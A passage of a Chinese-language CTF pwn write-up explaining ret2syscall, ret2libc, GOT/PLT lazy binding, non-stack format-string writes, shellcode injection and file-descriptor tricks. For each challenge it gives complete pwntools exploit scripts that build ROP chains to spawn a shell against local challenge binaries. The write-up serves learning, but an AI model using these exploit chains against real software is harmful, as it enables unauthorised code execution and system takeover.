0x0 # NULL (argv)
pop_edx地址
0x0 # NULL (envp)
int_0x80地址 # 触发系统调用

64位系统

系统调用指令**syscall**
参数寄存器

  • **rax** = 系统调用号
  • **rdi** = 第一参数
  • **rsi** = 第二参数
  • **rdx** = 第三参数
**execve("/bin/sh", 0, 0)** 获取 shell 为例:
目标 所需 Gadget
系统调用号 **rax = 0x3b** **pop rax; ret**
参数1 **rdi = <地址>** **pop rdi; ret**
参数2 **rsi = 0** **pop rsi; ret**
参数3 **rdx = 0** **pop rdx; ret**
触发调用 **syscall** **syscall; ret**

攻击载荷结构(栈空间从低到高):

1
2
3
4
5
6
7
8
9
10
偏移填充字节 * n
pop_rdi地址
bin_sh地址 # "/bin/sh" 字符串地址
pop_rsi地址
0x0 # NULL (argv)
pop_rdx地址
0x0 # NULL (envp)
pop_rax地址
0x3b # execve 系统调用号 (59)
syscall地址 # 触发系统调用

what is ret2libc?

**ret2libc** (Return-to-libc) 是一种利用软件漏洞(通常是栈溢出)进行攻击的技术。其核心思想是劫持程序的执行流程,使其跳转到目标系统动态链接库 **libc** 中的特定函数(如 **system()**)去执行,而不是注入并执行攻击者自己的 Shellcode。

what is GOT?

当程序使用共享库(如 **libc.so**)时,库代码在程序加载时运行时才被加载到内存中。库函数的绝对内存地址在编译时是未知的,并且由于 ASLR(地址空间布局随机化),每次程序运行时这些地址都会改变

那么,程序如何调用这些地址未知且会变化的函数(如 **printf**, **system**)呢?这就是 GOT(和它的搭档 PLT)要解决的核心问题。

位置: GOT 是位于程序数据段(**.data**** 或 **.got** 节)** 中的一个表(数组)

内容: GOT 中的每个条目(entry)存储着一个地址。这个地址可以是:

  • 最终目标地址: 对于已经解析过的函数,GOT 条目存储的就是该函数在当前加载的共享库(如 **libc**)中的实际运行时地址
  • 跳板地址: 对于尚未被调用过的函数,GOT 条目存储的是一个指向延迟绑定解析器的地址(通常是 PLT 中对应条目代码的下一条指令地址,即 **PLT[x]+6**)。可写性: 关键点在于,GOT 所在的数据段是可写的(Writeable)。这使得动态链接器 (**ld-linux.so**) 能够在程序运行时,在函数第一次被调用时,将函数的真实地址写入到对应的 GOT 条目中(这个过程称为”绑定”或”解析”)。

与 PLT 的关系: GOT 几乎总是和 PLT(Procedure Linkage Table,过程链接表) 协同工作。PLT 位于代码段(**.text****.plt** 节),通常是不可写的(但可执行)

what is PLT?

PLT(Procedure Linkage Table,过程链接表) 是程序动态链接的核心组件之一,与 GOT(Global Offset Table,全局偏移表) 协同工作,解决共享库函数的延迟绑定(Lazy Binding)问题。它位于程序的 代码段(**.text****.plt** 节),通常是只读且可执行的。

脚本解析:

这里给出错误的ret2syscall脚本尝试和正确的ret2libc的脚本:

ret2syscall:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 固定地址
pop_rdi_rsi_rdx = 0x401240 # pop rdi; pop rsi; pop rdx; ret
pop_rax_ret = 0x401244 # pop rax; ret
syscall_addr = 0x401230 # syscall
'''
这里是最主要的问题,由于没有可供使用的syscall;ret片段,
系统调用执行后会直接回到lose函数,这就导致不能正确进行第二次系统调用
'''
data_addr = 0x404028 # .data段地址
ret_addr = 0x40101a # 通用ret用于栈对齐

p = process('./syslock')

# 第一步:进入开发者模式
p.recvuntil(b"choose mode\n")
p.sendline(b"-32")
p.recvuntil(b"Input your password\n")
p.send(p32(59) + b'A'*8) # 覆盖i为59
p.recvuntil(b"Developer Mode.\n")

# 定义内存布局
string_addr = data_addr # 字符串地址
argv_array_addr = data_addr + 8 # 参数数组地址

# 第二步:构造ROP链
payload = b'A' * 72
payload += p64(ret_addr) # 初始对齐

# 第一阶段:read(0, data_addr, 24)
# 读取 /bin/sh\x00 + 指针 + NULL
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0) # rdi = stdin
payload += p64(data_addr) # rsi = 目标地址
payload += p64(24) # rdx = 长度
payload += p64(pop_rax_ret)
payload += p64(0) # rax = read
payload += p64(syscall_addr)

# 对齐后执行 execve
payload += p64(ret_addr) # 再次对齐
payload += p64(pop_rdi_rsi_rdx)
payload += p64(string_addr) # rdi = 字符串地址
payload += p64(argv_array_addr) # rsi = 参数数组地址
payload += p64(0) # rdx = 0
payload += p64(pop_rax_ret)
payload += p64(59) # rax = 59
payload += p64(syscall_addr)

# 添加GDB调试
gdb.attach(p, 'b *0x401230\nc')

p.send(payload)
p.clean()

# 发送字符串+指针+NULL
p.send(b"/bin/sh\x00" + p64(string_addr) + p64(0))

p.interactive()

ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 启动远程连接
p = remote('127.0.0.1', 36713)
# p = process('./ret2libc') # 本地测试选项
libc = ELF('./libc.so.6')

# ===== 第一阶段:泄露 read@plt 并计算程序基址 =====
p.recvuntil(b'How can I use ')
read_plt_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f"Leaked read@plt address: {hex(read_plt_addr)}")
p.recvuntil(b'without a backdoor? Damn!\n')

# 计算程序基地址 (read@plt 偏移固定为 0x1060)
#这一点可以通过readelf得到
program_base = read_plt_addr - 0x1060
log.success(f"Program base address: {hex(program_base)}")

# ===== 第二阶段:返回 main 函数 =====
# 计算 main 函数的绝对地址
main_offset = 0x11ce # 从 objdump 获取/从 IDA获取
main_addr = program_base + main_offset
ret_addr = program_base + 0x101a #由ROPgadget获得ret片段
# 构造第一次 payload
payload1 = b'A' * 40
payload1 += p64(ret_addr)#初始对齐
payload1 += p64(main_addr)
payload1 += p64(ret_addr)#栈对齐
p.send(payload1)
log.info(f"Sent payload1 to return to main @ {hex(main_addr)}")

# ===== 第三阶段:获取 read 的真实地址 =====
p.recvuntil(b'How can I use ')
read_libc_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f"Leaked read@libc address: {hex(read_libc_addr)}")
p.recvuntil(b'without a backdoor? Damn!\n')

# ===== 第四阶段:计算 libc 基址 =====
# 使用 libc 中的 read 偏移
read_offset = libc.symbols['read']
libc_base = read_libc_addr - read_offset
log.success(f"Libc base address: {hex(libc_base)}")

# ===== 第五阶段:构造 ROP 链 =====
# 计算关键函数地址
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 获取 gadget 地址
pop_rdi = libc_base + 0x2a3e5 # pop rdi; ret
ret_addr = libc_base + 0x29cd6 # ret (用于栈对齐)

log.info(f"System address: {hex(system_addr)}")
log.info(f"Bin/sh address: {hex(bin_sh_addr)}")
log.info(f"pop rdi; ret gadget: {hex(pop_rdi)}")
log.info(f"ret gadget: {hex(ret_addr)}")

# 构造 ROP 链 (添加 ret 指令确保栈对齐)
payload2 = b'A' * 40
payload2 += p64(ret_addr) # 栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)

# 发送最终 payload
p.send(payload2)
log.success("Payload2 sent! Enjoy your shell :)")

# ===== 获取交互式 shell =====
p.interactive()

ezlibc

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read);
vuln();
puts("Something happening");
return 0;
}
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x60uLL);
}

checksec分析:

1
2
3
4
5
6
7
8
9
10
$ checksec --file=./ret2libc
[*] '/home/kali/CTF_Scripts/Practice/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

附件中给了libc.so.6,可以看出这是ret2libc,主要涉及的知识点是延迟绑定

how to understand lazy binding?

延迟绑定(Lazy Binding) 是动态链接的核心优化机制,其核心思想是:只有当函数第一次被调用时,才动态解析其真实地址,而非在程序启动时解析所有函数。这种设计在性能与资源管理上具有显著优势。

按照操作系统的思想来理解,可以将其理解为Cache。

与 GOT / PLT 的协同实现

组件 作用 延迟绑定中的关键行为
PLT (Procedure Linkage Table) 跳转桩代码(Stub) 位于**.plt**节,每个函数一个条目 首次调用时:通过**push**+**jmp**触发解析 后续调用:直接跳转至 GOT 地址
GOT (Global Offset Table) 地址存储表 **.got.plt**节存储函数地址,**.got**节存储全局变量 初始值 → 指向 PLT 解析桩代码 解析后 → 更新为真实函数地址

脚本解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 启动远程连接
p = remote('127.0.0.1', 36713)
# p = process('./ret2libc') # 本地测试选项
libc = ELF('./libc.so.6')

# ===== 第一阶段:泄露 read@plt 并计算程序基址 =====
p.recvuntil(b'How can I use ')
read_plt_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f"Leaked read@plt address: {hex(read_plt_addr)}")
p.recvuntil(b'without a backdoor? Damn!\n')

# 计算程序基地址 (read@plt 偏移固定为 0x1060)
program_base = read_plt_addr - 0x1060
log.success(f"Program base address: {hex(program_base)}")

# ===== 第二阶段:返回 main 函数 =====
# 计算 main 函数的绝对地址
main_offset = 0x11ce # 从 objdump 获取
main_addr = program_base + main_offset
ret_addr = program_base + 0x101a
# 构造第一次 payload
payload1 = b'A' * 40
payload1 += p64(ret_addr)
payload1 += p64(main_addr)
payload1 += p64(ret_addr)
p.send(payload1)
log.info(f"Sent payload1 to return to main @ {hex(main_addr)}")

# ===== 第三阶段:获取 read 的真实地址 =====
p.recvuntil(b'How can I use ')
read_libc_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f"Leaked read@libc address: {hex(read_libc_addr)}")
p.recvuntil(b'without a backdoor? Damn!\n')

# ===== 第四阶段:计算 libc 基址 =====
# 使用 libc 中的 read 偏移
read_offset = libc.symbols['read']
libc_base = read_libc_addr - read_offset
log.success(f"Libc base address: {hex(libc_base)}")

# ===== 第五阶段:构造 ROP 链 =====
# 计算关键函数地址
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 获取 gadget 地址
pop_rdi = libc_base + 0x2a3e5 # pop rdi; ret
ret_addr = libc_base + 0x29cd6 # ret (用于栈对齐)

log.info(f"System address: {hex(system_addr)}")
log.info(f"Bin/sh address: {hex(bin_sh_addr)}")
log.info(f"pop rdi; ret gadget: {hex(pop_rdi)}")
log.info(f"ret gadget: {hex(ret_addr)}")

# 构造 ROP 链 (添加 ret 指令确保栈对齐)
payload2 = b'A' * 40
payload2 += p64(ret_addr) # 栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)

# 发送最终 payload
p.send(payload2)
log.success("Payload2 sent! Enjoy your shell :)")

# ===== 获取交互式 shell =====
p.interactive()

fmt_S

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )
talk();
if ( *(_QWORD *)&atk <= 0x1BF52uLL )
puts("You've been eaten by the monster.");
else
he();
return 0;
}
size_t talk()
{
puts("You start talking to him...");
flag ^= 1u;
read(0, fmt, 0x20uLL);
printf(fmt);
puts("?");
puts("You enraged the monster-prepare for battle!");
return my_read(&atk, 8uLL);
}
unsigned __int64 he()
{
char command[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
qmemcpy(command, "a_flag", sizeof(command));
puts("The monster is defeated, and you obtain: flag?");
system(command);
return v2 - __readfsqword(0x28u);
}

checksec分析:

1
2
3
4
5
6
7
8
9
10
11
12
$ checksec --file=./pwn
[*] '/home/kali/CTF_Scripts/Practice/fmt_s/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
RUNPATH: b'/home/kali/CTF_Scripts/Practice/fmt_s/libc.so.6'
SHSTK: Enabled
IBT: Enabled
Stripped: No

这道题的主要考点在于非栈上格式化字符串漏洞利用

how to solve a Non-stack Format String Vulnerability problem

一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,也就是非栈上格式化字符串漏洞,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。

这种情况要怎么办呢,我们就需要构造一条指针链,最好是栈上的指针链,因为这样指针之间一般只有最后两字节不同,比较容易修改。

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#p = remote("127.0.0.1",37285)
p = process("./pwn")
libc = ELF("./libc.so.6")

#gdb.attach(p, "b*0x401332")
#gdb.attach(p, "b*0x4013ed")
p.sendlineafter("You start talking to him...",b"%33$p.%6$p")
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)
print("leak >>>",hex(leak))
libc_base = leak - 0x29e40
p.recvuntil(b"0x")
leak1 = int(p.recv(12), 16)
print(hex(leak1))
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
#gdb.attach(p)
stack = leak1
ogg = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
og = libc_base + ogg[0]
i_addr = stack - 0x120 + 7
stack1 = stack - 0x70 - 0xa0

ex = libc_base + 0x74cc7
print(hex(i_addr))
print(hex(stack1))
#20 47

p.sendlineafter('You start talking to him...','%'+str(i_addr&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(0x80)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

print("og >>>",hex(og))
p.sendlineafter('You start talking to him...','%'+str(stack1&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(og&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+2)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((og>>16)&0xff)+'c%47$hhn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

"""
0x000000000002a3e5 : pop rdi ; ret
0x0000000000029139 : ret
"""
system_addr = libc_base + 0x50d70
binsh = libc_base + 0x1d8678
pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
fmt = 0x4040C0

p.sendlineafter('You start talking to him...','%'+str(stack1&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(ret&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+2)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((ret>>16)&0xff)+'c%47$hhn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

#---0

p.sendlineafter('You start talking to him...','%'+str((stack1+8)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(pop_rdi&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+10)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((pop_rdi>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+12)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(((pop_rdi>>16)>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

#----1

p.sendlineafter('You start talking to him...','%'+str((stack1+16)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(binsh&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+18)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((binsh>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+20)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(((binsh>>16)>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

#-----2

p.sendlineafter('You start talking to him...','%'+str((stack1+24)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(system_addr&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+26)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((system_addr>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...','%'+str((stack1+28)&0xffff)+'c%20$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str(((system_addr>>16)>>16)&0xffff)+'c%47$hn')
p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)

p.sendlineafter('You start talking to him...',p64(pop_rdi) + p64(binsh) + p64(system_addr))
p.sendafter("You enraged the monster-prepare for battle!",b"\x00\x00\x00\x00\x00\x00\x00")

print(hex(libc.sym['system']))
print(hex(next(libc.search(b"/bin/sh\x00"))))
p.interactive()

Week2

ezshellcode

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+0h] [rbp-20h] BYREF
int prot; // [rsp+4h] [rbp-1Ch]
int v6; // [rsp+8h] [rbp-18h]
int n10; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
init(argc, argv, envp);
s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( s == (void *)-1LL )
{
perror("mmap");
return 1;
}
memset(s, 0, 0x1000uLL);
v6 = 0;
prot = 0;
puts("In a ret2text exploit, we can use code in the .text segment.");
puts("But now, there is no 'system' function available there.");
puts("How can you get the flag now? Perhaps you should use shellcode.");
puts("But what is shellcode? What can you do with it? And how can you use it?");
puts("I will give you some choices. Choose wisely!");
__isoc99_scanf("%d", &n4);
do
n10 = getchar();
while ( n10 != 10 && n10 != -1 );
if ( n4 == 4 )
{
if ( v6 == 1 )
puts("You can only make one change!");
prot = 7;
v6 = 1;
}
else
{
if ( n4 > 4 )
goto LABEL_24;
switch ( n4 )
{
case 3:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 4;
v6 = 1;
break;
case 1:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 1;
v6 = 1;
break;
case 2:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 3;
v6 = 1;
break;
default:
LABEL_24:
puts("Invalid choice. The space remains in its chaotic state.");
exit(1);
}
}
if ( mprotect(s, 0x1000uLL, prot) == -1 )
{
perror("mprotect");
exit(1);
}
puts("\nYou have now changed the permissions of the shellcode area.");
puts("If you can't input your shellcode, think about the permissions you just set.");
read(0, s, 0x1000uLL);
((void (*)(void))s)();
return 0;
}

checksec检查:

1
2
3
4
$ checksec --file=./ezshellcode
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 2 ./ezshellcode

这里保护基本都开了,根据题目描述推测ret2shellcode

what is shellcode?

Shellcode 是攻击者利用软件漏洞注入到目标程序内存中并强制其执行的一段精心构造的、自包含的、位置无关的原始机器码,旨在执行未授权的操作(如获取系统控制权)。

how to solve a ret2shellcode problem?

ret2shellcode的使用要求是比较苛刻的,因为它是执行输入进去的内容,而很多时候程序并不会给用户输入内容给予执行权限。

可能的攻击手段

1.向stack段中注入shellcode

能向栈中注入shellcode的情况非常少见,这是因为目前的操作系统及程序一般都会开启对栈的保护。比较常见的保护手段有:

  • ASLR(Address Space Layout Randmization):该防御手段在Linux和Windows中都非常常见。其功能是将一部分内存段(如栈等)的地址进行随机偏移,使得攻击者即使成功注入了shellcode也难以定位其位置,进而达到防御的目的;
  • The NX(No-eXecute) bits:该防御手段使得部分内存段(如堆、栈等)不可执行,攻击者即使成功注入了shellcode也无法执行其中代码,进而达到防御的目的;
  • Canary:该防御手段的原理是在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若被改变则可断定发生了溢出,进而可以立刻终止程序运行。
2.向bss段中注入shellcode

在虚拟内存中,bss段主要保存的是没有初值的全局变量或静态变量(在汇编语言中通过占位符?声明)。若某个程序的bss段可写且可执行,攻击者就可以尝试将shellcode注入写入全局变量或静态变量中。

3.向data段中注入shellcode

在虚拟内存中,data段主要保存的是已经初始化了的全局变量或静态变量。其攻击思路与向bss段中注入shellcode非常类似。

4.向heap段中注入shellcode

heap段主要保存的是通过动态内存分配产生的变量。若某个程序的heap段可写且可执行,攻击者就可以尝试将shellcode注入至动态分配的变量中。

实用工具

pwntools生成Shellcode

1
2
3
4
# 生成Linux/x86的execve("/bin/sh")
shellcode = asm(shellcraft.sh())
# 避免坏字符(如\x00)
shellcode = asm(shellcraft.sh().replace("\x00", ""))[1,5](@ref)

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#p = process('./ezshellcode')
p = remote('127.0.0.1',40307)
p.recvuntil(b'Choose wisely!\n')
p.sendline(b'4')
'''
我们需要选择权限可读可写的区域
'''
p.recvuntil(b'you just set.')

shellcode = asm(shellcraft.sh())
'''
使用pwntools生成shellcode
与context.arch有关,需要首先设置
'''
p.send((shellcode))
p.interactive()

find_it

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // eax
char file[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
fd = dup(1);
write(fd, "I've hidden the fd of stdout. Can you find it?\n", 0x2FuLL);
close(1);
__isoc99_scanf("%d", &fd1);
write(fd1, "You are right.What would you like to see?\n", 0x2AuLL);
__isoc99_scanf("%s%*c", file);
open(file, 0);
write(fd1, "What is its fd?\n", 0x10uLL);
__isoc99_scanf("%d", &fd2);
read(fd2, &buf, 0x50uLL);
write(fd1, &buf, 0x50uLL);
return 0;
}

checksec分析:

1
2
3
$ checksec --file=./findit       
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 1 ./findit

保护全开,题目的主要知识点是文件描述符

what is file descriptor?

fdFile descriptor 的缩写,中文名叫做:文件描述符文件描述符 是一个非负整数,本质上是一个索引值(这句话非常重要)。

当需要 readwrite 这个文件时,则只需要用这个 文件描述符 来标识该文件,将其作为参数传入 readwrite

在 POSIX 语义中,0、1、2 这三个 fd 值已经被赋予特殊含义,分别是标准输入(STDIN_FILENO)、标准输出(STDOUT_FILENO)、标准错误(STDERR_FILENO)。

因此,在新分配文件描述符时,一般会从3开始分配。

在fd相关的内容中,有一个函数非常重要,就是dup()函数。通过dup()函数,我们可以使两个文件描述符指向同一file结构。

fd的分配规则是:fd会找到最小的,没有被占用的文件描述符。因此,如果有前面的fd被关闭,它的fd是可以分配给其他file结构的。

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

def exploit():
# 启动程序
#p = process('./findit')
p = remote('127.0.0.1',39713)
# 第一部分:找到备份的stdout
p.recvuntil(b"Can you find it?\n")
p.sendline(b'3') # 备份的fd通常是3

# 第二部分:请求查看flag文件
p.recvuntil(b"What would you like to see?\n")
p.sendline(b"/flag") # 或者使用 "flag" 如果文件在当前目录

# 第三部分:提供打开文件的fd
p.recvuntil(b"What is its fd?\n")
p.sendline(b'1') # 新打开的文件会使用fd=1

# 接收flag - 尝试不同的接收方法
try:
# 尝试接收特定数量的数据
flag = p.recv(0x50)
print(f"Flag content: {flag.decode()}")
except:
# 如果解码失败,尝试接收所有输出
output = p.recvall()
print(f"All output: {output}")

p.close()

if __name__ == "__main__":
exploit()

认识libc

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The Oracle speaks...");
puts("There is no system function in the .text segment.");
printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("\nNow, show me what you can do with this knowledge:");
printf("> ");
return read(0, buf, 0x100uLL);
}

checksec分析:

1
2
3
4
$ checksec --file=./pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 ./pwn

无canary和PIE,无后门,有栈溢出和libc文件,题目是ret2libc

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level='debug'

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = remote('127.0.0.1',44027)
p.recvuntil('0x')
leak = int(p.recv(12),16)
'''
接收泄露的printf地址
根据程序输出,
这是一个在较高地址空间的值(以 0x7e 开头),
这明确表明是 libc 中 printf 函数的实际运行时地址
但接下来我们要去分析,为什么泄露的是这个地址
由于printf 函数已被解析(即 GOT 已填充),则&printf 返回 libc 中的实际地址
'''
log.success(f'leak_addr:{hex(leak)}')
printf_addr = libc.sym['printf']
libc_base = leak - printf_addr
log.success(f"libc_base:{hex(libc_base)}")

binsh_addr = next(libc.search(b"/bin/sh"))+ libc_base
system_addr = libc.sym['system']+ libc_base
ret_addr = 0x0000000000029139 + libc_base
pop_rdi_ret_addr = 0x000000000002a3e5 + libc_base

payload = b"A"*72 + p64(ret_addr)

payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.recvline()
p.send(payload)
p.interactive()

ezpivot

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n32; // [rsp+0h] [rbp-10h] BYREF
_BYTE buf[12]; // [rsp+4h] [rbp-Ch] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to join this pwn party!");
puts("Please say something to introduce yourself:");
puts("Before that,you need to tell us the length of your introduction.");
__isoc99_scanf("%d", &n32);
if ( n32 > 32 )
{
puts("Your introduction is too long, please try again.");
exit(1);
}
introduce((unsigned int)n32);
puts("Now, please tell us your phone number:");
read(0, buf, len_of_phonenum);
return 0;
}
